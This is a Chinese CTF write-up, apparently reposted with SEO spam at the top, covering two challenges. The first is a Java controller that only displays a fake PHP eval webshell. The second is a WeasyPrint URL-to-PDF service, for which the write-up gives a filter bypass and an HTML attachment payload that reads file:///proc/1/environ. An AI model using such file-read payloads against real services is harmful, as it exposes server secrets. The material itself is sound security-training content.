企业网站开发报价,注册有限公司需要什么条件,北京市造价信息网官网,上海网站设计知名乐云seo真亦假#xff0c;假亦真
简介#xff1a;java伪造php一句话马。实则信息泄露一扫就出#xff0c;flag在/flag里面。
题目描述#xff1a;开开心心签个到吧#xff0c;祝各位师傅们好运~
静态flag#xff1a;NSS{Checkin_h4v3_4_g00D_tINNe!}
/路由显示
?php
e…真亦假假亦真
简介java伪造php一句话马。实则信息泄露一扫就出flag在/flag里面。
题目描述开开心心签个到吧祝各位师傅们好运~
静态flagNSS{Checkin_h4v3_4_g00D_tINNe!}
/路由显示
?php
error_reporting(0);
header(Content-Type: text/html; charsetutf-8);
highlight_file(__FILE__);//标准一句话木马~
eval($_POST[1]);
?docker build -t toftoffff . docker run -d --nametoftoffff -p 9029:9029 --rm toftoffffWP
开题 做好事不留名那我Jay17当然不干好事啦 你不会真去getshell了吧不会吧不会吧 其实这只是Java伪造的一句话源码
package org.nss.nss_true_boot01;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;RestController
public class TestController {GetMapping(/)ResponseBodypublic String index() {return !DOCTYPE html html headtitle签到题题题/title/head body h1 签到题直接送大家shell了做好事不留名我叫Jay176s后页面跳转br /h1 script setTimeout(function() { window.location.href /shell.php; }, 6000); /script /body /html;}GetMapping(/shell.php)public String shell(){String htmlContent !DOCTYPE html html body codespan style\color: #000000\ span style\color: #0000BB\lt;?/spanspan style\color: #DD0000\php/spanbr / error_reporting/spanspan style\color: #007700\(/spanspan style\color: #0000BB\0/spanspan style\color: #007700\); br //spanspan style\color: #0000BB\header/spanspan style\color: #007700\(/spanspan style\color: #DD0000\ Content-Type:nbsp;text/html;nbsp;charsetutf-8/spanspan style\color: #007700\); br //spanspan style\color: #0000BB\highlight_file/spanspan style\color: #007700\(/spanspan style\color: #0000BB\ __FILE__/spanspan style\color: #007700\); br /br //spanspan style\color: #FF8000\//标准一句话木马~ br //spanspan style\color: #007700\eval(/spanspan style\color: #0000BB\$_POST/spanspan style\color: #007700\[ /spanspan style\color: #0000BB\1/spanspan style\color: #007700\]); br //spanspan style\color: #0000BB\?gt;/span /span /code /body /html;return htmlContent;}PostMapping(/shell.php)public String shellhhhh(){String htmlContent !DOCTYPE html html body codespan style\color: #000000\ span style\color: #0000BB\lt;?/spanspan style\color: #DD0000\php/spanbr / error_reporting/spanspan style\color: #007700\(/spanspan style\color: #0000BB\0/spanspan style\color: #007700\); br //spanspan style\color: #0000BB\header/spanspan style\color: #007700\(/spanspan style\color: #DD0000\ Content-Type:nbsp;text/html;nbsp;charsetutf-8/spanspan style\color: #007700\); br //spanspan style\color: #0000BB\highlight_file/spanspan style\color: #007700\(/spanspan style\color: #0000BB\ __FILE__/spanspan style\color: #007700\); br /br //spanspan style\color: #FF8000\//标准一句话木马~ br //spanspan style\color: #007700\eval(/spanspan style\color: #0000BB\$_POST/spanspan style\color: #007700\[ /spanspan style\color: #0000BB\1/spanspan style\color: #007700\]); br //spanspan style\color: #0000BB\?gt;/span /span /code 真是shell我能给你/body /html;return htmlContent;}GetMapping(/flag)public String flag(){return 真是shell我能给你不过flag真给你师傅们玩的愉快~NSS{Checkin_h4v3_4_g00D_tINNe!};}}如何破局其实假的一句话木马我有给hint我故意调错了颜色 同时flag路由扫一下就出来了。 CSDN_To_PDF V1.2
简介python WeasyPrint 的漏洞之前出现过[FireshellCTF2020]URL TO PDFBUU、2023羊城杯决赛未公开环境。我进行过二开加大了一点难度可以从代码逻辑缺陷入手绕过
hint WeasyPrint 必须包含blog.csdn.net 会过滤替换字符串html 文件夹名字可以是blog.csdn.net 题目描述几年前的自用版CSDN博客PDF转换器
源码
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import osapp Flask(__name__)URL_REGEX re.compile(rhttp(s)?://r(?:[a-zA-Z]|[0-9]|[$-_.]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))
)def is_valid_url(url):if not URL_REGEX.match(url):return Falseif blog.csdn.net not in url:return Falsereturn Trueapp.route(/, methods[GET, POST])
def CsdnToPdf():if request.method POST:url request.form.get(url)url url.replace(html, )if is_valid_url(url):try:html HTML(urlurl)pdf html.write_pdf()response make_response(pdf)response.headers[Content-Type] application/pdfresponse.headers[Content-Disposition] attachment; filenameoutput.pdfreturn responseexcept Exception as e:return fError generating PDF, 500else:return fInvalid URL! Target web address: urlelse:return render_template(index.html), 200if __name__ __main__:app.run(host0.0.0.0, port8080)
docker build -t csdntopdf . docker run -d -p 9030:8080 --name csdntopdf -e FLAGNSSCTF{test_flag} --rm double_pickleWP
开题 源码不知道需不需要给算了不给了你们搞黑盒吧hint都有。
hint如下能不能发现看大家啦 1、url不符合要求的话会返回Invalid URL! Target web address:xxxxx可以发现我吧字符串html替换为空双写绕过就行 2、题目提到了CSDN博客PDF转换器所以url必须包含blog.csdn.net看起来无法绕过但是你看看源码就懂了前端源码我有给hint我的css文件用的是http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css服务器上有个文件夹是不是叫blog.csdn.net就这样绕有想法的师傅可能还能在我的vps同目录下发现源码哦~ 3、功能是转换成PDF后端是python。不难想到是WeasyPrint 这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印 原题wp可以看看y4✌的[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客
首先探测一下漏洞
http://120.46.41.173:9023/blog.csdn.netvps上文件test.html
!DOCTYPE html
html langen
headmeta charsetUTF-8
/head
body
link relattachment hreffile:///proc/1/environ
/body
/html我们利用python WeasyPrint 的方法是
payload:
http://vps-ip/link.html这题利用方法
payload
http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml拿到PDF后binwalk -e 文件名 赛题测试